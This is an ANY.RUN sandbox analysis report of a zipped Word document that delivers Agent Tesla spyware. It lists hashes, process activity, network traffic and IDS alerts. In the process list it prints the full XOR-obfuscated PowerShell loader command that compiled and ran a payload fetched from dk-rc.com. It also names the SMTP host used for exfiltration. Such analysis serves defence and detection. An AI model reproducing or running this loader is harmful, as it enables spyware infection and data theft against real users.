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File name:

Sample1.zip

Full analysis: https://app.any.run/tasks/a549cf45-5e21-4305-a3a6-5f9532d07375
Verdict: Malicious activity
Threats:

Agent Tesla is spyware that collects information about the actions of its victims by recording keystrokes and user interactions. It is falsely marketed as a legitimate software on the dedicated website where this malware is sold.

Analysis date: August 13, 2019, 15:27:51
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
opendir
loader
keylogger
agenttesla
evasion
trojan
rat
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

68C412B442347675E074F1F99FEA14BB

SHA1:

57C43BB8140ED2802815E98822843563F456EC78

SHA256:

71B59F2CAF632375CB44B0A8765D9AA094629254C0564FB316BFA2660282B137

SSDEEP:

768:pVF1caFXHHfZWTcEFTZ5gQ7TbGoLkMFnk:DcSHhB8Z5gcb1wMFk

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Starts Visual C# compiler

      • powershell.exe (PID: 492)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 492)
    • Application was dropped or rewritten from another process

      • yb264b.exe (PID: 3672)
      • yb264b.exe (PID: 3788)
    • Changes the autorun value in the registry

      • yb264b.exe (PID: 3788)
    • AGENTTESLA was detected

      • yb264b.exe (PID: 3788)
    • Actions looks like stealing of personal data

      • yb264b.exe (PID: 3788)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 492)
      • cmd.exe (PID: 3192)
      • yb264b.exe (PID: 3788)
    • Executed via WMI

      • powershell.exe (PID: 492)
    • PowerShell script executed

      • powershell.exe (PID: 492)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 492)
      • yb264b.exe (PID: 3788)
    • Starts CMD.EXE for commands execution

      • yb264b.exe (PID: 3672)
    • Application launched itself

      • yb264b.exe (PID: 3672)
    • Cleans NTFS data-stream (Zone Identifier)

      • yb264b.exe (PID: 3788)
    • Reads Windows Product ID

      • yb264b.exe (PID: 3788)
    • Reads Environment values

      • yb264b.exe (PID: 3788)
    • Checks for external IP

      • yb264b.exe (PID: 3788)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3164)
      • opera.exe (PID: 2324)
    • Manual execution by user

      • WINWORD.EXE (PID: 3164)
      • opera.exe (PID: 2324)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3164)
    • Reads settings of System Certificates

      • yb264b.exe (PID: 3788)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: b64867b16525cbe3dab4f81ddf2134bdfc2e7de62b1600cf7819ed88dc859eb0.bin
ZipUncompressedSize: 39182
ZipCompressedSize: 36225
ZipCRC: 0x322c05c7
ZipModifyDate: 2019:08:13 15:25:26
ZipCompression: Deflated
ZipBitFlag: 0x0001
ZipRequiredVersion: 788
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
47
Monitored processes
9
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winrar.exe no specs winword.exe no specs powershell.exe csc.exe cvtres.exe no specs yb264b.exe no specs cmd.exe no specs opera.exe #AGENTTESLA yb264b.exe

Process information

PID
CMD
Path
Indicators
Parent process
2900"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Sample1.zip"C:\Program Files\WinRAR\WinRAR.exeexplorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
3164"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\ayy.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
492powershell -WindowStyle Hidden function md293 { param($fc9bf9) $d7b938 = 's3a8d65';$a8bf975 = ''; for ($i = 0; $i -lt $fc9bf9.length; $i+=2) { $c13d2b = [convert]::ToByte($fc9bf9.Substring($i, 2), 16); $a8bf975 += [char]($c13d2b -bxor $d7b938[($i / 2) % $d7b938.length]); } return $a8bf975; } $r3edcbb = '064008560316660a40155d090d40005a0f5f44654c004704554a64401d47085501187c1d47044a0b466616411751075346484612510a5115204a124c015b1b375a005f0a5946075a024b5f43461a5d0618374f4607560c162d790e064008560316660a40155d09187b16475a356e4640115f085b4455591240121800040110501a63205a593a5e115716421d5158044a0a535940014314215841014a31570d58414e11265d1066471c50205c0044500040431139164506510d51071646075215510716500b47044a0a167c1d47314c16164d4502560e4c7f5b0763154a44570216500509531a460741085603165e4107500e06551c48682554087f58035c134c4c145e16410f5d080507511f417d0a42470a630e510a42154e1343740b57513f5a034a05444c511a3c181443571f5a0218174254075a0218014e4116410f182d5841234713180053061650494b10445c1d544159525451471a5a63205a593a5e115716421d5158044a0a53594001431444735b074118680b5f5b070e436e0d444106520d681659411650151a4d6b15034603540d55150047004c0d5515164b155d165815115c0e54444c034006005c4c7f5b0763154a4450574656545c5c1a603a5d15681044151906075b025719534608561016511657050f071a151c461518115f5b0713125a575400121a5a63205a593a5e115716421d5178044a0a535940014f5c085a175f13245610444c235c0856100b1721470d750b40503e560c57164f175f13325d107a540047244a1659474e55005417531c2e13124c05425c101304401053471d1317570d52151751590a0755515b7a0f4c3442475347540b020354101f285610664101130d0e570401110b4d510a42151105020056071c4843145a085f5653401559105f56535a0f4c445d54405753104d4d7c1d47314c1616471652530f0100154e13055d5753565b5e050a5d051d5102530d010707460255595104004a02071a4d1f0e1a55494a01570744565705597f5b0763154a4a6c50015c48430359411c13160f06550d484e28561066410113065e5c0750470b5c40520702451b135d05040216054d5500040c401b430b56035042015409570100460655090001044207545d5404004007561a4d1f0e1a55495f020e0416075905597f5b0763154a4a6c50015c48430359411c13160f06550d484e34710a426507414141535757410757054c637c1d47314c161f004846085610164744075401530b05485a0710454c034006005c4c51534b02040c5c1a4c4452030a500019434b55084859400713130f50030c441a48430359411c13160f06550d484e234110536e2e13160b0755514e485140570719434b075e48064d4a031c032d584123471318120f0c10555305295747005b00544a77591f5c0270235a5a11520d10571f0e3e52134b0c57595d700e481d1e424050025c480619050a585b020419401a5a5c060e07105005100a5342537a0f4c3442475b5407005553014b1d35572d5841450749114f064d4303505a4d1a434a0a025e561a065a08160f06550d4913365d0675591a560f4c445354475207050a53425364045a275a5c165d15104d0d460741085603164d4107590d520b701d45084a0b5858165d1516235341355c0d5c014465124709102158431a410e5609535b071d324801555c125f2757085250011d2048145a5c105215510b5871124700114f14692f4a030a52025751180c5c560f065b11545c5100044a06051a4d0d501207005e4a725a045d0d570552731a5f04100952074a00491a5554014402540c5c0350420a50595501004b07020c050602420b540e5555001607040d560702420a560e55550010030509510505470054085152004502580d00141c5f4b530c5c03035a08314a0b55500040324c0544413a5d0757445e53150052050a5342536313570753460060155916427c1d550e101c04014b0657115f66471c50044b1718660752134c4c5e53150052115f44500746135644060e0e43145a085f5653401559105f565340154a0d5852535e050a5d051d004713510a51150001520d051f4e004713510a51151204045b0007024e11120b050e51450643031742471a5d061800530616505c6b10445c1d544f7d0946410a080757161e5c1d47415159060e1a0f120a5703545d7f045603425d485a4a05561f4e114a155d444e034204570527595b0556134c4a625a314a155d4c450740060016374357004713510a511d1a1f53114807035a08055d575356580e495b0c57475a1b190e550103536d4159535356170256634c5f1a411a411d44570216500509531879165d064c0c6b1c484e135d1043471d13055d575356484e1c'; $r3edcbb2 = md293($r3edcbb); Add-Type -TypeDefinition $r3edcbb2; [d24cc]::ka3d2(); C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2648"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\df5laeek.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.4927 (NetFXspW7.050727-4900)
4080C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES746A.tmp" "c:\Users\admin\AppData\Local\Temp\CSC7459.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.execsc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
3672"C:\Users\admin\AppData\Roaming\yb264b.exe" C:\Users\admin\AppData\Roaming\yb264b.exepowershell.exe
User:
admin
Company:
inigujesekaquguxol
Integrity Level:
MEDIUM
Description:
apigomir
Exit code:
0
Version:
7.11.14.18
3192"C:\Windows\System32\cmd.exe" /C type nul > "C:\Users\admin\AppData\Roaming\yb264b.exe:Zone.Identifier"C:\Windows\System32\cmd.exeyb264b.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2324"C:\Program Files\Opera\opera.exe" C:\Program Files\Opera\opera.exe
explorer.exe
User:
admin
Company:
Opera Software
Integrity Level:
MEDIUM
Description:
Opera Internet Browser
Version:
1748
3788C:\Users\admin\AppData\Roaming\yb264b.exeC:\Users\admin\AppData\Roaming\yb264b.exe
yb264b.exe
User:
admin
Company:
inigujesekaquguxol
Integrity Level:
MEDIUM
Description:
apigomir
Version:
7.11.14.18
Total events
2 577
Read events
1 779
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
25
Text files
14
Unknown types
6

Dropped files

PID
Process
Filename
Type
2900WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb2900.11024\b64867b16525cbe3dab4f81ddf2134bdfc2e7de62b1600cf7819ed88dc859eb0.bin
MD5:
SHA256:
3164WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR65D2.tmp.cvr
MD5:
SHA256:
492powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S5NB67R8KW0KEEWGW118.temp
MD5:
SHA256:
2648csc.exeC:\Users\admin\AppData\Local\Temp\CSC7459.tmp
MD5:
SHA256:
2648csc.exeC:\Users\admin\AppData\Local\Temp\df5laeek.pdb
MD5:
SHA256:
4080cvtres.exeC:\Users\admin\AppData\Local\Temp\RES746A.tmp
MD5:
SHA256:
2648csc.exeC:\Users\admin\AppData\Local\Temp\df5laeek.dll
MD5:
SHA256:
2648csc.exeC:\Users\admin\AppData\Local\Temp\df5laeek.out
MD5:
SHA256:
2324opera.exeC:\Users\admin\AppData\Roaming\Opera\Opera\oprCE0.tmp
MD5:
SHA256:
2324opera.exeC:\Users\admin\AppData\Roaming\Opera\Opera\oprD20.tmp
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
9
DNS requests
6
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2324
opera.exe
GET
162.144.12.172:80
http://dk-rc.com/
US
malicious
2324
opera.exe
GET
200
162.144.12.172:80
http://dk-rc.com/js/
US
html
1.26 Kb
malicious
492
powershell.exe
GET
200
162.144.12.172:80
http://dk-rc.com/js/Cool-Tue.exe
US
executable
674 Kb
malicious
2324
opera.exe
GET
200
93.184.220.29:80
http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl
US
der
528 b
whitelisted
2324
opera.exe
GET
200
162.144.12.172:80
http://dk-rc.com/favicon.ico
US
html
1.21 Kb
malicious
2324
opera.exe
GET
400
185.26.182.111:80
http://sitecheck2.opera.com/?host=dk-rc.com&hdn=a9uiBCn4kkak4gCnM6qj0g==
unknown
html
150 b
whitelisted
3788
yb264b.exe
GET
200
18.204.189.102:80
http://checkip.amazonaws.com/
US
text
12 b
shared
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
492
powershell.exe
162.144.12.172:80
dk-rc.com
Unified Layer
US
suspicious
2324
opera.exe
185.26.182.111:80
sitecheck2.opera.com
Opera Software AS
whitelisted
2324
opera.exe
93.184.220.29:80
crl4.digicert.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
3788
yb264b.exe
18.204.189.102:80
checkip.amazonaws.com
US
shared
2324
opera.exe
185.26.182.93:443
certs.opera.com
Opera Software AS
whitelisted
3788
yb264b.exe
64.37.54.190:587
mail.middleeast-ins.com
HostDime.com, Inc.
US
unknown
2324
opera.exe
162.144.12.172:80
dk-rc.com
Unified Layer
US
suspicious

DNS requests

Domain
IP
Reputation
dk-rc.com
  • 162.144.12.172
malicious
certs.opera.com
  • 185.26.182.93
  • 185.26.182.94
whitelisted
crl4.digicert.com
  • 93.184.220.29
whitelisted
sitecheck2.opera.com
  • 185.26.182.111
  • 185.26.182.112
  • 185.26.182.93
  • 185.26.182.94
whitelisted
checkip.amazonaws.com
  • 18.204.189.102
  • 52.44.169.135
  • 52.55.255.113
  • 3.224.145.145
  • 18.205.71.63
  • 34.196.181.158
shared
mail.middleeast-ins.com
  • 64.37.54.190
unknown

Threats

PID
Process
Class
Message
492
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
492
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3788
yb264b.exe
A Network Trojan was detected
MALWARE [PTsecurity] AgentTesla IP Check
3788
yb264b.exe
Generic Protocol Command Decode
SURICATA Applayer Detect protocol only one direction
2 ETPRO signatures available at the full report
Process
Message
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144